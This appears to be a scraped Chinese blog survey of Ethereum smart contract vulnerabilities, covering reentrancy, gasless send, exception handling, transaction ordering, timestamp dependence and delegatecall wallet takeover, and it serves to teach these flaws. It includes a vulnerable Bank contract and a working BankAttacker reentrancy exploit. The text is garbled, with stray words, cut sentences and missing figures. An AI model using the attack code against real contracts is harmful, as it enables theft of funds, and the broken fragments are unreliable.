目錄:html
DelegateCall
[3]參考文獻:
[1]: [Principles of Security and Trust'17][A Survey of Attacks on Ethereum Smart Contracts (SoK)](https://eprint.iacr.org/2016/1007.pdf )
[2]: [CCS'16][Making Smart Contracts Smarter](https://eprint.iacr.org/2016/633.pdf )
[3]: [ASE'18][ContractFuzzer: Fuzzing Smart Contracts for Vulnerability Detection](http://jiangbo.buaa.edu.cn/ContractFuzzerASE18.pdf )git
ether
時(沒有任何其它數據),這個函數也會被執行。/* 此合約用於1)記錄用戶餘額,2)能夠取款,3)能夠存款。有reentrancy漏洞。*/ contract Bank{ /* 地址(惟一)和餘額的映射 */ mapping(address=>uint) userBalances; /* 返回用戶餘額 */ function getUserBalance(address user) constant returns(uint) { return userBalances[user]; } /* 給指定的用戶增長餘額 */ function addToBalance() { userBalances[msg.sender] = userBalances[msg.sender] + msg.value; } /* 用戶取款(這裏假設取餘額中所有的錢) */ function withdrawBalance() { uint amountToWithdraw = userBalances[msg.sender]; /* 把錢轉給用戶。若是交易失敗,則throw。 */ if (msg.sender.call.value(amountToWithdraw)() == false) { throw; } /* 若是交易成功,把用戶的餘額設置爲0。 */ userBalances[msg.sender] = 0; } } /* 這是一個攻擊具備reentrancy漏洞的智能合約(Bank)的智能合約(BankAttacker)。在這個例子裏,它實現了兩次攻擊。 */ contract BankAttacker{ bool is_attack; address bankAddress; /* 輸入:1)_bankAddress:要攻擊的智能合約(Bank)的地址,2)_is_attack:開啓或關閉攻擊。*/ function BankAttacker(address _bankAddress, bool _is_attack){ bankAddress=_bankAddress; is_attack=_is_attack; } /* 這是一個fallback函數,用於調用withdrawnBalance函數(當開始攻擊時,即is_attack爲true) 。這個函數會被觸發是由於有reentrancy漏洞的智能合約(Bank)中的withdrawBalance函數被執行。爲了不無限遞歸調用fallbacks,有必要設置有限的次數,例如這裏設置2次。由於每次調用是須要gas的,若是gas用完了,攻擊就失敗了。 */ function() { if(is_attack==true) { is_attack=false; if(bankAddress.call(bytes4(sha3("withdrawBalance()")))) { throw; } } } /* 存款函數。主要功能是給智能合約Bank發送75wei,而且調用addToBalance。 */ function deposit(){ if(bankAddress.call.value(2).gas(20764)(bytes4(sha3("addToBalance()"))) ==false) { throw; } } /* 這個函數會觸發Bank中的withdrawBalance函數。*/ function withdraw(){ if(bankAddress.call(bytes4(sha3("withdrawBalance()")))==false ) { throw; } } }
攻擊者利用BankAttack(vulnerable contract)與Bank進行交互,主要過程:github
基本概念
每一個智能合約的函數經過函數名和參數類型來保證惟一性(Signature)。因此,原本一個合約時想執行某函數,因爲代碼寫錯了,沒有匹配到其餘的函數,因此就默認調用 fallback 函數。安全
檢測方法
檢測參數類型和函數名與調用函數是否一致。網絡
send
(至關於一個特殊的call()
)發送以太幣到一個合約時,有可能會發生out-of-gas
異常。當簽名不匹配任何的函數時,將會觸發回退函數。因爲send()
函數指定了一個空函數簽名,因此當fallback函數存在時,它老是會調用它。但和通常的函數不一樣的是,執行send()
所消耗的gas默認上線被限定在2,300(若是特別指定上限的話,能夠大於2,300)。out-of-gas
異常。由於2,300不足以執行D1的 fallback() 函數,即count++;
。msg.value
)的ether。而後就會調用KotET的 fallback 函數。fallback 函數會首先checkmsg.value
是否大於以前的king設定的報價(LINE14)。若是小於,則說明競價失敗,則throw
。反之,就會取得王座,成爲新的king。call
替換send
,而後去check它的返回值,如false
則throw
。雖然這個版本看似比以前的版本要好,可是,這個合約仍是有bug:假設如今有一個叫Mallory
的attacker,它的 fallback 函數裏面就是一個throw
。它發送足夠的ether給KotET,而後成爲的新的king。這個時候,就再也沒有人能夠取代它的王位,由於每次給Mallory
發送ether的時候,都必需要調用Mallory
的 fallback 函數。所以,KotET的LINE6的條件會一直爲true
。所以,程序不會再執行下去。call
,delegatecall
,callcode
)msg
會隨着調用的發起而改變,msg
保存了調用方的信息包括:調用發起的地址,交易金額,被調用函數字符序列等。call
: 最經常使用的調用方式,調用後內置變量 msg
的值會修改爲調用者,執行環境爲被調用者的運行環境(合約的 storage)。delegatecall
: 調用後內置變量 msg
的值不會修改爲調用者,但執行環境爲調用者的運行環境。callcode
: 調用後內置變量 msg
的值會修改爲調用者,但執行環境爲調用者的運行環境。throw
語句revert
狀態,並返回false
。可是,當一個合約以不一樣的方式調用另一個合約時,solidity沒有一個一致的方法去處理異常。調用的合約可能沒法獲取被調用的合約中的異常信息。以下圖所示,Bob
直接調用Alice
的ping
Bob
的x
仍是爲0。Bob
經過call
調用Alice
的ping
call
返回false==>執行繼續。因此,Bob
的x
爲0。call
來實現的。那麼,異常會進行傳遞(相似於溯源),被調用的合約的side effect都會revert。全部由最初調用函數的用戶提供的的gas也都被消耗完。call/send
調用。基本概念
solidity是強類型語言,因此會有類型檢查,如變量賦值時,如把字符串賦值給整型變量。可是,有些狀況即便類型不匹配,也不會進行類型檢查,所以會致使此bug。app
c
是不是一個有效地址;Alice
裏是否真的有ping
。c
不是一個地址,因此直接return。c
是一個正確的地址,可是,沒有匹配任何Alice
中的函數,因此調用alice
的 fallback 函數。定義
在[2]中,它也被稱做"Transaction-Ordering Dependence(TOD)"。一個block包含一個transaction的集合,同屬於一個block的transaction的執行順序是不肯定的(只有礦工能夠肯定)。所以,也就致使了block的狀態是不肯定的。假設block處於狀態\(σ\),其中包含了兩個transaction \(T_1\)和\(T_2\)。\(T_1\)和\(T_2\)又同時調用了同一個合約。那麼,在這個時候,用戶是沒法知道這個合約的狀態的,由於這取決於\(T_1\)和\(T_2\)的實際執行順序。less
Puzzle
。其中,\(T_o\)是來自合約的全部者,他想更新提出方案的獎勵值。\(T_o\)是來自提出解決方案的用戶,他想經過方案獲得獎勵。那麼,在這個時候,\(T_o\)和\(T_u\)的執行順序會影響到提出方案的用戶最終能得到多少獎勵。Puzzle
合約的全部者能夠一直保持監聽網絡,看是否有人提到解決方案到Puzzle
。一旦有,他就發送一個transaction去更新獎勵(好比設爲一個很小的數)。在這種狀況下,合約的全部者就頗有可能(注意,並不是必定)經過很小的花費就獲得瞭解決方案。基本概念
不少合約的執行邏輯是和當前block的時間戳有關的。而一個block的時間戳是由礦工(挖礦時的系統)決定的,而且容許有。可是,這裏時間能夠容許有900秒的偏移(The miner could cheat in the timestamp by a tolerance of 900 seconds。dom
場景/例子
第五行到第七行依賴於當前block的時間戳。所以,礦工能夠事先計算出對本身有利的時間戳,而且在挖礦時將時間設置成對本身有利的時間。ide
delegatecall
和call
的區別?delegatecall
?delegatecall
的目的是用於實現相似於代碼庫的調用。delegatecall
的目的是讓合約在不用傳輸自身狀態(如balance、storage)的狀況下可使用其餘合約的代碼。場景/例子
在Wallet
合約中,LINE6調用delegatecall
而且傳參msg.data
。這使得attacker能夠調用walletLibrary
中的任意一個public function。所以,attacker能夠調用LINE10的initWallet
,以此成爲Wallet
這個合約的擁有者。而後他就能夠從wallet
發送ether到他本身的地址。函數
基本概念
有些合約用於接受ether,並轉帳給其餘地址。可是,這些合約自己並無本身實現一個轉帳函數,而是經過delegatecall
去調用一些其餘合約中的轉帳函數去實現轉帳的功能。萬一這些提供轉帳功能的合約執行suicide
或self-destruct
操做的話,那麼,經過delegatecall
調用轉帳功能的合約就有可能發生ether被凍結的狀況。